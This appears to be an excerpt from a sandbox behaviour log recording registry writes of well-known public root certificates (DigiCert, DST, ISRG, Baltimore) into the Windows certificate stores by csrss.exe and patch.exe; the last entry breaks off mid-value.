Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\DF3C24F9BFD666761B268073FE06D1CC8D4F82A4\Blob = 1400000001000000140000004e2254201895e6e36ee60ffafab912ed06178f39030000000100000014000000df3c24f9bfd666761b268073fe06d1cc8d4f82a40f00000001000000200000004b4eb4b074298b828b5c003095a10b4523fb951c0c88348b09c53e5baba408a32000000001000000920300003082038e30820276a0030201020210033af1e6a711a9a0bb2864b11d09fae5300d06092a864886f70d01010b05003061310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d3120301e06035504031317446967694365727420476c6f62616c20526f6f74204732301e170d3133303830313132303030305a170d3338303131353132303030305a3061310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d3120301e06035504031317446967694365727420476c6f62616c20526f6f7420473230820122300d06092a864886f70d01010105000382010f003082010a0282010100bb37cd34dc7b6bc9b26890ad4a75ff46ba210a088df51954c9fb88dbf3aef23a89913c7ae6ab061a6bcfac2de85e092444ba629a7ed6a3a87ee054752005ac50b79c631a6c30dcda1f19b1d71edefdd7e0cb948337aeec1f434edd7b2cd2bd2ea52fe4a9b8ad3ad499a4b625e99b6b00609260ff4f214918f76790ab61069c8ff2bae9b4e992326bb5f357e85d1bcd8c1dab95049549f3352d96e3496ddd77e3fb494bb4ac5507a98f95b3b423bb4c6d45f0f6a9b29530b4fd4c558c274a57147c829dcd7392d3164a060c8c50d18f1e09be17a1e621cafd83e510bc83a50ac46728f67314143d4676c387148921344daf0f450ca649a1babb9cc5b1338329850203010001a3423040300f0603551d130101ff040530030101ff300e0603551d0f0101ff040403020186301d0603551d0e041604144e2254201895e6e36ee60ffafab912ed06178f39300d06092a864886f70d01010b05000382010100606728946f0e4863eb31ddea6718d5897d3cc58b4a7fe9bedb2b17dfb05f73772a3213398167428423f2456735ec88bff88fb0610c34a4ae204c84c6dbf835e176d9dfa642bbc74408867f3674245ada6c0d145935bdf249ddb61fc9b30d472a3d992fbb5cbbb5d420e1995f534615db689bf0f330d53e31e28d849ee38adada963e3513a55ff0f970507047411157194ec08fae06c49513172f1b259f75f2b18e99a16f13b14171fe882ac84f102055d7f31445e5e044f4ea879532930efe5346fa2c9dff8b22b94bd90945a4dea4b89a58dd1b7d529f8e59438881a49e26d56faddd0dc6377ded03921be5775f76ee3c8dc45d565ba2d9666eb33537e532b6	csrss.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\DAC9024F54D8F6DF94935FB1732638CA6AD77C13\Blob = 0f00000001000000140000005bcaa1c2780f0bcb5a90770451d96f38963f012d0b000000010000001e000000440053005400200052006f006f0074002000430041002000580033000000090000000100000016000000301406082b0601050507030406082b06010505070301140000000100000014000000c4a7b1a47b2c71fadbe14b9075ffc415608589101d00000001000000100000004558d512eecb27464920897de7b66053030000000100000014000000dac9024f54d8f6df94935fb1732638ca6ad77c1320000000010000004e0300003082034a30820232a003020102021044afb080d6a327ba893039862ef8406b300d06092a864886f70d0101050500303f31243022060355040a131b4469676974616c205369676e617475726520547275737420436f2e311730150603550403130e44535420526f6f74204341205833301e170d3030303933303231313231395a170d3231303933303134303131355a303f31243022060355040a131b4469676974616c205369676e617475726520547275737420436f2e311730150603550403130e44535420526f6f7420434120583330820122300d06092a864886f70d01010105000382010f003082010a0282010100dfafe99750088357b4cc6265f69082ecc7d32c6b30ca5becd9c37dc740c118148be0e83376492ae33f214993ac4e0eaf3e48cb65eefcd3210f65d22ad9328f8ce5f777b0127bb595c089a3a9baed732e7a0c063283a27e8a1430cd11a0e12a38b9790a31fd50bd8065dfb7516383c8e28861ea4b6181ec526bb9a2e24b1a289f48a39e0cda098e3e172e1edd20df5bc62a8aab2ebd70adc50b1a25907472c57b6aab34d63089ffe568137b540bc8d6aeec5a9c921e3d64b38cc6dfbfc94170ec1672d526ec38553943d0fcfd185c40f197ebd59a9b8d1dbada25b9c6d8dfc115023aabda6ef13e2ef55c089c3cd68369e4109b192ab62957e3e53d9b9ff0025d0203010001a3423040300f0603551d130101ff040530030101ff300e0603551d0f0101ff040403020106301d0603551d0e04160414c4a7b1a47b2c71fadbe14b9075ffc41560858910300d06092a864886f70d01010505000382010100a31a2c9b17005ca91eee2866373abf83c73f4bc309a095205de3d95944d23e0d3ebd8a4ba0741fce10829c741a1d7e981addcb134bb32044e491e9ccfc7da5db6ae5fee6fde04eddb7003ab57049aff2e5eb02f1d1028b19cb943a5e48c4181e58195f1e025af00cf1b1ada9dc59868b6ee991f586cafab96633aa595bcee2a7167347cb2bcc99b03748cfe3564bf5cf0f0c723287c6f044bb53726d43f526489a5267b758abfe67767178db0da256141339243185a2a8025a3047e1dd5007bc02099000eb6463609b16bc88c912e6d27d918bf93d328d65b4e97cb15776eac5b62839bf15651cc8f677966a0a8d770bd8910b048e07db29b60aee9d82353510	csrss.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\DAC9024F54D8F6DF94935FB1732638CA6AD77C13\Blob = 040000000100000010000000410352dc0ff7501b16f0028eba6f45c50f00000001000000140000005bcaa1c2780f0bcb5a90770451d96f38963f012d0b000000010000001e000000440053005400200052006f006f0074002000430041002000580033000000090000000100000016000000301406082b0601050507030406082b06010505070301140000000100000014000000c4a7b1a47b2c71fadbe14b9075ffc415608589101d00000001000000100000004558d512eecb27464920897de7b66053030000000100000014000000dac9024f54d8f6df94935fb1732638ca6ad77c131900000001000000100000006cf252fec3e8f20996de5d4dd9aef42420000000010000004e0300003082034a30820232a003020102021044afb080d6a327ba893039862ef8406b300d06092a864886f70d0101050500303f31243022060355040a131b4469676974616c205369676e617475726520547275737420436f2e311730150603550403130e44535420526f6f74204341205833301e170d3030303933303231313231395a170d3231303933303134303131355a303f31243022060355040a131b4469676974616c205369676e617475726520547275737420436f2e311730150603550403130e44535420526f6f7420434120583330820122300d06092a864886f70d01010105000382010f003082010a0282010100dfafe99750088357b4cc6265f69082ecc7d32c6b30ca5becd9c37dc740c118148be0e83376492ae33f214993ac4e0eaf3e48cb65eefcd3210f65d22ad9328f8ce5f777b0127bb595c089a3a9baed732e7a0c063283a27e8a1430cd11a0e12a38b9790a31fd50bd8065dfb7516383c8e28861ea4b6181ec526bb9a2e24b1a289f48a39e0cda098e3e172e1edd20df5bc62a8aab2ebd70adc50b1a25907472c57b6aab34d63089ffe568137b540bc8d6aeec5a9c921e3d64b38cc6dfbfc94170ec1672d526ec38553943d0fcfd185c40f197ebd59a9b8d1dbada25b9c6d8dfc115023aabda6ef13e2ef55c089c3cd68369e4109b192ab62957e3e53d9b9ff0025d0203010001a3423040300f0603551d130101ff040530030101ff300e0603551d0f0101ff040403020106301d0603551d0e04160414c4a7b1a47b2c71fadbe14b9075ffc41560858910300d06092a864886f70d01010505000382010100a31a2c9b17005ca91eee2866373abf83c73f4bc309a095205de3d95944d23e0d3ebd8a4ba0741fce10829c741a1d7e981addcb134bb32044e491e9ccfc7da5db6ae5fee6fde04eddb7003ab57049aff2e5eb02f1d1028b19cb943a5e48c4181e58195f1e025af00cf1b1ada9dc59868b6ee991f586cafab96633aa595bcee2a7167347cb2bcc99b03748cfe3564bf5cf0f0c723287c6f044bb53726d43f526489a5267b758abfe67767178db0da256141339243185a2a8025a3047e1dd5007bc02099000eb6463609b16bc88c912e6d27d918bf93d328d65b4e97cb15776eac5b62839bf15651cc8f677966a0a8d770bd8910b048e07db29b60aee9d82353510	csrss.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\D4DE20D05E66FC53FE1A50882C78DB2852CAE474	csrss.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\D4DE20D05E66FC53FE1A50882C78DB2852CAE474	patch.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\DF3C24F9BFD666761B268073FE06D1CC8D4F82A4\Blob = 0f00000001000000200000004b4eb4b074298b828b5c003095a10b4523fb951c0c88348b09c53e5baba408a3030000000100000014000000df3c24f9bfd666761b268073fe06d1cc8d4f82a42000000001000000920300003082038e30820276a0030201020210033af1e6a711a9a0bb2864b11d09fae5300d06092a864886f70d01010b05003061310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d3120301e06035504031317446967694365727420476c6f62616c20526f6f74204732301e170d3133303830313132303030305a170d3338303131353132303030305a3061310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d3120301e06035504031317446967694365727420476c6f62616c20526f6f7420473230820122300d06092a864886f70d01010105000382010f003082010a0282010100bb37cd34dc7b6bc9b26890ad4a75ff46ba210a088df51954c9fb88dbf3aef23a89913c7ae6ab061a6bcfac2de85e092444ba629a7ed6a3a87ee054752005ac50b79c631a6c30dcda1f19b1d71edefdd7e0cb948337aeec1f434edd7b2cd2bd2ea52fe4a9b8ad3ad499a4b625e99b6b00609260ff4f214918f76790ab61069c8ff2bae9b4e992326bb5f357e85d1bcd8c1dab95049549f3352d96e3496ddd77e3fb494bb4ac5507a98f95b3b423bb4c6d45f0f6a9b29530b4fd4c558c274a57147c829dcd7392d3164a060c8c50d18f1e09be17a1e621cafd83e510bc83a50ac46728f67314143d4676c387148921344daf0f450ca649a1babb9cc5b1338329850203010001a3423040300f0603551d130101ff040530030101ff300e0603551d0f0101ff040403020186301d0603551d0e041604144e2254201895e6e36ee60ffafab912ed06178f39300d06092a864886f70d01010b05000382010100606728946f0e4863eb31ddea6718d5897d3cc58b4a7fe9bedb2b17dfb05f73772a3213398167428423f2456735ec88bff88fb0610c34a4ae204c84c6dbf835e176d9dfa642bbc74408867f3674245ada6c0d145935bdf249ddb61fc9b30d472a3d992fbb5cbbb5d420e1995f534615db689bf0f330d53e31e28d849ee38adada963e3513a55ff0f970507047411157194ec08fae06c49513172f1b259f75f2b18e99a16f13b14171fe882ac84f102055d7f31445e5e044f4ea879532930efe5346fa2c9dff8b22b94bd90945a4dea4b89a58dd1b7d529f8e59438881a49e26d56faddd0dc6377ded03921be5775f76ee3c8dc45d565ba2d9666eb33537e532b6	csrss.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\CABD2A79A1076A31F21D253635CB039D4329A5E8	csrss.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\CABD2A79A1076A31F21D253635CB039D4329A5E8\Blob = 0400000001000000100000000cd2f9e0da1773e9ed864da5e370e74e14000000010000001400000079b459e67bb6e5e40173800888c81a58f6e99b6e030000000100000014000000cabd2a79a1076a31f21d253635cb039d4329a5e80f00000001000000200000003f0411ede9c4477057d57e57883b1f205b20cdc0f3263129b1ee0269a2678f631900000001000000100000002fe1f70bb05d7c92335bc5e05b984da620000000010000006f0500003082056b30820353a0030201020211008210cfb0d240e3594463e0bb63828b00300d06092a864886f70d01010b0500304f310b300906035504061302555331293027060355040a1320496e7465726e65742053656375726974792052657365617263682047726f7570311530130603550403130c4953524720526f6f74205831301e170d3135303630343131303433385a170d3335303630343131303433385a304f310b300906035504061302555331293027060355040a1320496e7465726e65742053656375726974792052657365617263682047726f7570311530130603550403130c4953524720526f6f7420583130820222300d06092a864886f70d01010105000382020f003082020a0282020100ade82473f41437f39b9e2b57281c87bedcb7df38908c6e3ce657a078f775c2a2fef56a6ef6004f28dbde68866c4493b6b163fd14126bbf1fd2ea319b217ed1333cba48f5dd79dfb3b8ff12f1219a4bc18a8671694a66666c8f7e3c70bfad292206f3e4c0e680aee24b8fb7997e94039fd347977c99482353e838ae4f0a6f832ed149578c8074b6da2fd0388d7b0370211b75f2303cfa8faeddda63abeb164fc28e114b7ecf0be8ffb5772ef4b27b4ae04c12250c708d0329a0e15324ec13d9ee19bf10b34a8c3f89a36151deac870794f46371ec2ee26f5b9881e1895c34796c76ef3b906279e6dba49a2f26c5d010e10eded9108e16fbb7f7a8f7c7e50207988f360895e7e237960d36759efb0e72b11d9bbc03f94905d881dd05b42ad641e9ac0176950a0fd8dfd5bd121f352f28176cd298c1a80964776e4737baceac595e689d7f72d689c50641293e593edd26f524c911a75aa34c401f46a199b5a73a516e863b9e7d72a712057859ed3e5178150b038f8dd02f05b23e7b4a1c4b730512fcc6eae050137c439374b3ca74e78e1f0108d030d45b7136b407bac130305c48b7823b98a67d608aa2a32982ccbabd83041ba2830341a1d605f11bc2b6f0a87c863b46a8482a88dc769a76bf1f6aa53d198feb38f364dec82b0d0a28fff7dbe21542d422d0275de179fe18e77088ad4ee6d98b3ac6dd27516effbc64f533434f0203010001a3423040300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff301d0603551d0e0416041479b459e67bb6e5e40173800888c81a58f6e99b6e300d06092a864886f70d01010b05000382020100551f58a9bcb2a850d00cb1d81a6920272908ac61755c8a6ef882e5692fd5f6564bb9b8731059d321977ee74c71fbb2d260ad39a80bea17215685f1500e59ebcee059e9bac915ef869d8f8480f6e4e99190dc179b621b45f06695d27c6fc2ea3bef1fcfcbd6ae27f1a9b0c8aefd7d7e9afa2204ebffd97fea912b22b1170e8ff28a345b58d8fc01c954b9b826cc8a8833894c2d843c82dfee965705ba2cbbf7c4b7c74e3b82be31c822737392d1c280a43939103323824c3c9f86b255981dbe29868c229b9ee26b3b573a82704ddc09c789cb0a074d6ce85d8ec9efceabc7bbb52b4e45d64ad026cce572ca086aa595e315a1f7a4edc92c5fa5fbffac28022ebed77bbbe3717b9016d3075e46537c3707428cd3c4969cd599b52ae0951a8048ae4c3907cecc47a452952bbab8fbadd233537de51d4d6dd5a1b1c7426fe64027355ca328b7078de78d3390e7239ffb509c796c46d5b415b3966e7e9b0c963ab8522d3fd65be1fb08c284fe24a8a389daac6ae1182ab1a843615bd31fdc3b8d76f22de88d75df17336c3d53fb7bcb415fffdca2d06138e196b8ac5d8b37d775d533c09911ae9d41c1727584be0241425f67244894d19b27be073fb9b84f817451e17ab7ed9d23e2bee0d52804133c31039edd7a6c8fc60718c67fde478e3f289e0406cfa5543477bdec899be91743df5bdb5ffe8e1e57a2cd409d7e6222dade1827	csrss.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\DF3C24F9BFD666761B268073FE06D1CC8D4F82A4\Blob = 19000000010000001000000014c3bd3549ee225aece13734ad8ca0b80f00000001000000200000004b4eb4b074298b828b5c003095a10b4523fb951c0c88348b09c53e5baba408a3030000000100000014000000df3c24f9bfd666761b268073fe06d1cc8d4f82a41400000001000000140000004e2254201895e6e36ee60ffafab912ed06178f392000000001000000920300003082038e30820276a0030201020210033af1e6a711a9a0bb2864b11d09fae5300d06092a864886f70d01010b05003061310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d3120301e06035504031317446967694365727420476c6f62616c20526f6f74204732301e170d3133303830313132303030305a170d3338303131353132303030305a3061310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d3120301e06035504031317446967694365727420476c6f62616c20526f6f7420473230820122300d06092a864886f70d01010105000382010f003082010a0282010100bb37cd34dc7b6bc9b26890ad4a75ff46ba210a088df51954c9fb88dbf3aef23a89913c7ae6ab061a6bcfac2de85e092444ba629a7ed6a3a87ee054752005ac50b79c631a6c30dcda1f19b1d71edefdd7e0cb948337aeec1f434edd7b2cd2bd2ea52fe4a9b8ad3ad499a4b625e99b6b00609260ff4f214918f76790ab61069c8ff2bae9b4e992326bb5f357e85d1bcd8c1dab95049549f3352d96e3496ddd77e3fb494bb4ac5507a98f95b3b423bb4c6d45f0f6a9b29530b4fd4c558c274a57147c829dcd7392d3164a060c8c50d18f1e09be17a1e621cafd83e510bc83a50ac46728f67314143d4676c387148921344daf0f450ca649a1babb9cc5b1338329850203010001a3423040300f0603551d130101ff040530030101ff300e0603551d0f0101ff040403020186301d0603551d0e041604144e2254201895e6e36ee60ffafab912ed06178f39300d06092a864886f70d01010b05000382010100606728946f0e4863eb31ddea6718d5897d3cc58b4a7fe9bedb2b17dfb05f73772a3213398167428423f2456735ec88bff88fb0610c34a4ae204c84c6dbf835e176d9dfa642bbc74408867f3674245ada6c0d145935bdf249ddb61fc9b30d472a3d992fbb5cbbb5d420e1995f534615db689bf0f330d53e31e28d849ee38adada963e3513a55ff0f970507047411157194ec08fae06c49513172f1b259f75f2b18e99a16f13b14171fe882ac84f102055d7f31445e5e044f4ea879532930efe5346fa2c9dff8b22b94bd90945a4dea4b89a58dd1b7d529f8e59438881a49e26d56faddd0dc6377ded03921be5775f76ee3c8dc45d565ba2d9666eb33537e532b6	csrss.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\DF3C24F9BFD666761B268073FE06D1CC8D4F82A4\Blob = 040000000100000010000000e4a68ac854ac5242460afd72481b2a441400000001000000140000004e2254201895e6e36ee60ffafab912ed06178f39030000000100000014000000df3c24f9bfd666761b268073fe06d1cc8d4f82a40f00000001000000200000004b4eb4b074298b828b5c003095a10b4523fb951c0c88348b09c53e5baba408a319000000010000001000000014c3bd3549ee225aece13734ad8ca0b82000000001000000920300003082038e30820276a0030201020210033af1e6a711a9a0bb2864b11d09fae5300d06092a864886f70d01010b05003061310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d3120301e06035504031317446967694365727420476c6f62616c20526f6f74204732301e170d3133303830313132303030305a170d3338303131353132303030305a3061310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d3120301e06035504031317446967694365727420476c6f62616c20526f6f7420473230820122300d06092a864886f70d01010105000382010f003082010a0282010100bb37cd34dc7b6bc9b26890ad4a75ff46ba210a088df51954c9fb88dbf3aef23a89913c7ae6ab061a6bcfac2de85e092444ba629a7ed6a3a87ee054752005ac50b79c631a6c30dcda1f19b1d71edefdd7e0cb948337aeec1f434edd7b2cd2bd2ea52fe4a9b8ad3ad499a4b625e99b6b00609260ff4f214918f76790ab61069c8ff2bae9b4e992326bb5f357e85d1bcd8c1dab95049549f3352d96e3496ddd77e3fb494bb4ac5507a98f95b3b423bb4c6d45f0f6a9b29530b4fd4c558c274a57147c829dcd7392d3164a060c8c50d18f1e09be17a1e621cafd83e510bc83a50ac46728f67314143d4676c387148921344daf0f450ca649a1babb9cc5b1338329850203010001a3423040300f0603551d130101ff040530030101ff300e0603551d0f0101ff040403020186301d0603551d0e041604144e2254201895e6e36ee60ffafab912ed06178f39300d06092a864886f70d01010b05000382010100606728946f0e4863eb31ddea6718d5897d3cc58b4a7fe9bedb2b17dfb05f73772a3213398167428423f2456735ec88bff88fb0610c34a4ae204c84c6dbf835e176d9dfa642bbc74408867f3674245ada6c0d145935bdf249ddb61fc9b30d472a3d992fbb5cbbb5d420e1995f534615db689bf0f330d53e31e28d849ee38adada963e3513a55ff0f970507047411157194ec08fae06c49513172f1b259f75f2b18e99a16f13b14171fe882ac84f102055d7f31445e5e044f4ea879532930efe5346fa2c9dff8b22b94bd90945a4dea4b89a58dd1b7d529f8e59438881a49e26d56faddd0dc6377ded03921be5775f76ee3c8dc45d565ba2d9666eb33537e532b6	patch.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\DAC9024F54D8F6DF94935FB1732638CA6AD77C13	csrss.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\DAC9024F54D8F6DF94935FB1732638CA6AD77C13\Blob = 1900000001000000100000006cf252fec3e8f20996de5d4dd9aef424030000000100000014000000dac9024f54d8f6df94935fb1732638ca6ad77c131d00000001000000100000004558d512eecb27464920897de7b66053140000000100000014000000c4a7b1a47b2c71fadbe14b9075ffc41560858910090000000100000016000000301406082b0601050507030406082b060105050703010b000000010000001e000000440053005400200052006f006f00740020004300410020005800330000000f00000001000000140000005bcaa1c2780f0bcb5a90770451d96f38963f012d20000000010000004e0300003082034a30820232a003020102021044afb080d6a327ba893039862ef8406b300d06092a864886f70d0101050500303f31243022060355040a131b4469676974616c205369676e617475726520547275737420436f2e311730150603550403130e44535420526f6f74204341205833301e170d3030303933303231313231395a170d3231303933303134303131355a303f31243022060355040a131b4469676974616c205369676e617475726520547275737420436f2e311730150603550403130e44535420526f6f7420434120583330820122300d06092a864886f70d01010105000382010f003082010a0282010100dfafe99750088357b4cc6265f69082ecc7d32c6b30ca5becd9c37dc740c118148be0e83376492ae33f214993ac4e0eaf3e48cb65eefcd3210f65d22ad9328f8ce5f777b0127bb595c089a3a9baed732e7a0c063283a27e8a1430cd11a0e12a38b9790a31fd50bd8065dfb7516383c8e28861ea4b6181ec526bb9a2e24b1a289f48a39e0cda098e3e172e1edd20df5bc62a8aab2ebd70adc50b1a25907472c57b6aab34d63089ffe568137b540bc8d6aeec5a9c921e3d64b38cc6dfbfc94170ec1672d526ec38553943d0fcfd185c40f197ebd59a9b8d1dbada25b9c6d8dfc115023aabda6ef13e2ef55c089c3cd68369e4109b192ab62957e3e53d9b9ff0025d0203010001a3423040300f0603551d130101ff040530030101ff300e0603551d0f0101ff040403020106301d0603551d0e04160414c4a7b1a47b2c71fadbe14b9075ffc41560858910300d06092a864886f70d01010505000382010100a31a2c9b17005ca91eee2866373abf83c73f4bc309a095205de3d95944d23e0d3ebd8a4ba0741fce10829c741a1d7e981addcb134bb32044e491e9ccfc7da5db6ae5fee6fde04eddb7003ab57049aff2e5eb02f1d1028b19cb943a5e48c4181e58195f1e025af00cf1b1ada9dc59868b6ee991f586cafab96633aa595bcee2a7167347cb2bcc99b03748cfe3564bf5cf0f0c723287c6f044bb53726d43f526489a5267b758abfe67767178db0da256141339243185a2a8025a3047e1dd5007bc02099000eb6463609b16bc88c912e6d27d918bf93d328d65b4e97cb15776eac5b62839bf15651cc8f677966a0a8d770bd8910b048e07db29b60aee9d82353510	csrss.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\D4DE20D05E66FC53FE1A50882C78DB2852CAE474\Blob = 040000000100000010000000acb694a59c17e0d791529bb19706a6e40f0000000100000014000000ce0e658aa3e847e467a147b3049191093d055e6f0b0000000100000034000000420061006c00740069006d006f007200650020004300790062006500720054007200750073007400200052006f006f007400000053000000010000002400000030223020060a2b06010401b13e01640130123010060a2b0601040182373c0101030200c0140000000100000014000000e59d5930824758ccacfa085436867b3ab5044df01d0000000100000010000000918ad43a9475f78bb5243de886d8103c09000000010000000c000000300a06082b06010505070301030000000100000014000000d4de20d05e66fc53fe1a50882c78db2852cae47419000000010000001000000068cb42b035ea773e52ef50ecf50ec52920000000010000007b030000308203773082025fa0030201020204020000b9300d06092a864886f70d0101050500305a310b300906035504061302494531123010060355040a130942616c74696d6f726531133011060355040b130a43796265725472757374312230200603550403131942616c74696d6f7265204379626572547275737420526f6f74301e170d3030303531323138343630305a170d3235303531323233353930305a305a310b300906035504061302494531123010060355040a130942616c74696d6f726531133011060355040b130a43796265725472757374312230200603550403131942616c74696d6f7265204379626572547275737420526f6f7430820122300d06092a864886f70d01010105000382010f003082010a0282010100a304bb22ab983d57e826729ab579d429e2e1e89580b1b0e35b8e2b299a64dfa15dedb009056ddb282ece62a262feb488da12eb38eb219dc0412b01527b8877d31c8fc7bab988b56a09e773e81140a7d1ccca628d2de58f0ba650d2a850c328eaf5ab25878a9a961ca967b83f0cd5f7f952132fc21bd57070f08fc012ca06cb9ae1d9ca337a77d6f8ecb9f16844424813d2c0c2a4ae5e60feb6a605fcb4dd075902d459189863f5a563e0900c7d5db2067af385eaebd403ae5e843e5fff15ed69bcf939367275cf77524df3c9902cb93de5c923533f1f2498215c079929bdc63aece76e863a6b97746333bd681831f0788d76bffc9e8e5d2a86a74d90dc271a390203010001a3453043301d0603551d0e04160414e59d5930824758ccacfa085436867b3ab5044df030120603551d130101ff040830060101ff020103300e0603551d0f0101ff040403020106300d06092a864886f70d01010505000382010100850c5d8ee46f51684205a0ddbb4f27258403bdf764fd2dd730e3a41017ebda2929b6793f76f6191323b8100af958a4d46170bd04616a128a17d50abdc5bc307cd6e90c258d86404feccca37e38c637114feddd68318e4cd2b30174eebe755e07481a7f70ff165c84c07985b805fd7fbe6511a30fc002b4f852373904d5a9317a18bfa02af41299f7a34582e33c5ef59d9eb5c89e7c2ec8a49e4e08144b6dfd706d6b1a63bd64e61fb7cef0f29f2ebb1bb7f250887392c2e2e3168d9a3202ab8e18dde91011ee7e35ab90af3e30947ad0333da7650ff5fc8e9e62cf47442c015dbb1db532d247d2382ed0fe81dc326a1eb5ee3cd5fce7811d19c32442ea6339a9	patch.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\DF3C24F9BFD666761B268073FE06D1CC8D4F82A4\Blob = 030000000100000014000000df3c24f9bfd666761b268073fe06d1cc8d4f82a42000000001000000920300003082038e30820276a0030201020210033af1e6a711a9a0bb2864b11d09fae5300d06092a864886f70d01010b05003061310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d3120301e06035504031317446967694365727420476c6f62616c20526f6f74204732301e170d3133303830313132303030305a170d3338303131353132303030305a3061310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d3120301e06035504031317446967694365727420476c6f62616c20526f6f7420473230820122300d06092a864886f70d01010105000382010f003082010a0282010100bb37cd34dc7b6bc9b26890ad4a75ff46ba210a088df51954c9fb88dbf3aef23a89913c7ae6ab061a6bcfac2de85e092444ba629a7ed6a3a87ee054752005ac50b79c631a6c30dcda1f19b1d71edefdd7e0cb948337aeec1f434edd7b2cd2bd2ea52fe4a9b8ad3ad499a4b625e99b6b00609260ff4f214918f76790ab61069c8ff2bae9b4e992326bb5f357e85d1bcd8c1dab95049549f3352d96e3496ddd77e3fb494bb4ac5507a98f95b3b423bb4c6d45f0f6a9b29530b4fd4c558c274a57147c829dcd7392d3164a060c8c50d18f1e09be17a1e621cafd83e510bc83a50ac46728f67314143d4676c387148921344daf0f450ca649a1babb9cc5b1338329850203010001a3423040300f0603551d130101ff040530030101ff300e0603551d0f0101ff040403020186301d0603551d0e041604144e2254201895e6e36ee60ffafab912ed06178f39300d06092a864886f70d01010b05000382010100606728946f0e4863eb31ddea6718d5897d3cc58b4a7fe9bedb2b17dfb05f73772a3213398167428423f2456735ec88bff88fb0610c34a4ae204c84c6dbf835e176d9dfa642bbc74408867f3674245ada6c0d145935bdf249ddb61fc9b30d472a3d992fbb5cbbb5d420e1995f534615db689bf0f330d53e31e28d849ee38adada963e3513a55ff0f970507047411157194ec08fae06c49513172f1b259f75f2b18e99a16f13b14171fe882ac84f102055d7f31445e5e044f4ea879532930efe5346fa2c9dff8b22b94bd90945a4dea4b89a58dd1b7d529f8e59438881a49e26d56faddd0dc6377ded03921be5775f76ee3c8dc45d565ba2d9666eb33537e532b6	csrss.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\DF3C24F9BFD666761B268073FE06D1CC8D4F82A4	patch.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\D4DE20D05E66FC53FE1A50882C78DB2852CAE474\Blob = 19000000010000001000000068cb42b035ea773e52ef50ecf50ec529030000000100000014000000d4de20d05e66fc53fe1a50882c78db2852cae47409000000010000000c000000300a06082b060105050703011d0000000100000010000000918ad43a9475f78bb5243de886d8103c140000000100000014000000e59d5930824758ccacfa085436867b3ab5044df053000000010000002400000030223020060a2b06010401b13e01640130123010060a2b0601040182373c0101030200c00b0000000100000034000000420061006c00740069006d006f007200650020004300790062006500720054007200750073007400200052006f006f00740000000f0000000100000014000000ce0e658aa3e847e467a147b3049191093d055e6f20000000010000007b030000308203773082025fa0030201020204020000b9300d06092a864886f70d0101050500305a310b300906035504061302494531123010060355040a130942616c74696d6f726531133011060355040b130a43796265725472757374312230200603550403131942616c74696d6f7265204379626572547275737420526f6f74301e170d3030303531323138343630305a170d3235303531323233353930305a305a310b300906035504061302494531123010060355040a130942616c74696d6f726531133011060355040b130a43796265725472757374312230200603550403131942616c74696d6f7265204379626572547275737420526f6f7430820122300d06092a864886f70d01010105000382010f003082010a0282010100a304bb22ab983d57e826729ab579d429e2e1e89580b1b0e35b8e2b299a64dfa15dedb009056ddb282ece62a262feb488da12eb38eb219dc0412b01527b8877d31c8fc7bab988b56a09e773e81140a7d1ccca628d2de58f0ba650d2a850c328eaf5ab25878a9a961ca967b83f0cd5f7f952132fc21bd57070f08fc012ca06cb9ae1d9ca337a77d6f8ecb9f16844424813d2c0c2a4ae5e60feb6a605fcb4dd075902d459189863f5a563e0900c7d5db2067af385eaebd403ae5e843e5fff15ed69bcf939367275cf77524df3c9902cb93de5c923533f1f2498215c079929bdc63aece76e863a6b97746333bd681831f0788d76bffc9e8e5d2a86a74d90dc271a390203010001a3453043301d0603551d0e04160414e59d5930824758ccacfa085436867b3ab5044df030120603551d130101ff040830060101ff020103300e0603551d0f0101ff040403020106300d06092a864886f70d01010505000382010100850c5d8ee46f51684205a0ddbb4f27258403bdf764fd2dd730e3a41017ebda2929b6793f76f6191323b8100af958a4d46170bd04616a128a17d50abdc5bc307cd6e90c258d86404feccca37e38c637114feddd68318e4cd2b30174eebe755e07481a7f70ff165c84c07985b805fd7fbe6511a30fc002b4f852373904d5a9317a18bfa02af41299f7a34582e33c5ef59d9eb5c89e7c2ec8a4